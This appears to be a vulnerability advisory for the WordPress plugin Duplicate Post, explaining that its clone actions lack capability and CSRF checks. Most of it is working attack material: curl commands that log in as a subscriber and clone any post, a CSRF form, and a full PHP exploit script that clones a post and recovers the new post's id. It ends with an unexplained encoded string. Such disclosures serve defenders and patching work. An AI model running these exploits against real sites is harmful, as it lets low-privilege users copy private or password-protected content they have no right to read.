Duplicate Post [Unauthorized Clone Posts]

Description

Plugin Duplicate Post allows users to clone a post/page etc. Normally this functionality would be available to specific user groups. This is customizable by the option Roles allowed to copy available to plugin settings.

The problem occurs because the plugin fails to prevent access to post cloning functionality, specified by the aforementioned option. It only prevents the appearance of the relevant button in posts list page.

Plugin hooks to admin actions the duplicate_post_save_as_new_post and duplicate_post_save_as_new_post_draft actions. These hooks call the duplicate_post_save_as_new_post() and duplicate_post_save_as_new_post_draft() function respectively. Both of them provide the same functionality with the only difference that the former duplicates a post with the post status copied from the parent post (if the related option is enabled) and the second one is doing the same thing but the newly created post is a draft.

Both of those actions lack of capabilities or CSRF checks, thus allowing a registered user to clone a post, even if this belongs to another user. This includes private or password protected posts, pages, attachments etc.

The problem occurs because admin actions are available to all registered users, thus allowing to everyone (even if they don’t have the edit_posts capability) to create a new post that they own.

PoC

Shell

curl -XPOST 'http://sbwp1.dev/wp-login.php' \
    -d 'log=subscriber&pwd=password&wp-submit=Log+In' \
    -c '/tmp/loginCookies' \
& curl -XPOST 'http://sbwp1.dev/wp-admin/admin.php' \
    -d 'action=duplicate_post_save_as_new_post&post=1' \
    -b '/tmp/loginCookies'

CSRF

<form action="http://sbwp2.dev/wp-admin/admin.php">
    <input type="hidden" name="action" value="duplicate_post_save_as_new_post_draft">
    <input type="hidden" name="post" value="1">
    <input type="submit" value="Click Me!">
</form>

WPKIT script

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Duplicate Post - Unauthorized Clone Posts Exploit
 *
 * Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Page;
use Wordfence\ExKit\WPAuthentication;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );
    exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

$session = new \Requests_Session(null, [], [], ['cookies' => new Requests_Cookie_Jar( [ 'XDEBUG_SESSION' => 'DEBUG' ] )]);

Cli::writeInfo('Authenticating with WordPress');
WPAuthentication::logInAsUserRole( $session, WPAuthentication::USER_ROLE_SUBSCRIBER );

/*******************************************************************************
 * Clone a new post as draft, we use the `duplicate_post_save_as_new_post_draft`
 * action and not `duplicate_post_save_as_new_post` because the former
 * discloses the newly created post id when it tries to redirect us to post
 * edit page!
 ******************************************************************************/
$postIdToCopy = Config::get('post_id', 1, true, 'Enter a post|page|attachment|custom_post_type id to clone');

Cli::writeInfo('Duplicating post with id ' . $postIdToCopy);

$requestUrl = Endpoint::adminURL()
              . ( parse_url( Endpoint::adminURL(), PHP_URL_QUERY ) ? '&' : '?' )
              . http_build_query( [ 'action' => 'duplicate_post_save_as_new_post_draft', 'post' => $postIdToCopy ] );

$r = $session->get( $requestUrl );

// normally this will give us 500 response code because plugin tried to redirect us to post edit screen and we don't
// have the required capabilities
if($r->status_code != 500){
    Cli::writeError('Unexpected response. Maybe target is not exploitable');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}


// now we should have a response that tried to redirect to edit post page, this disclosures the new post id
parse_str(parse_url( $r->url, PHP_URL_QUERY ), $redirectQuery);

if(!isset($redirectQuery['post']) || !$redirectQuery['post']){
    Cli::writeError('Couldn\'t get a valid post id, most likely the exploit failed');
    exit(ExitCodes::EXIT_CODE_EXPLOIT_FAILED);
}

$postId = $redirectQuery['post'];

Cli::writeSuccess('New post created with id ' . $postId);
exit(ExitCodes::EXIT_CODE_EXPLOIT_SUCCEEDED);

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX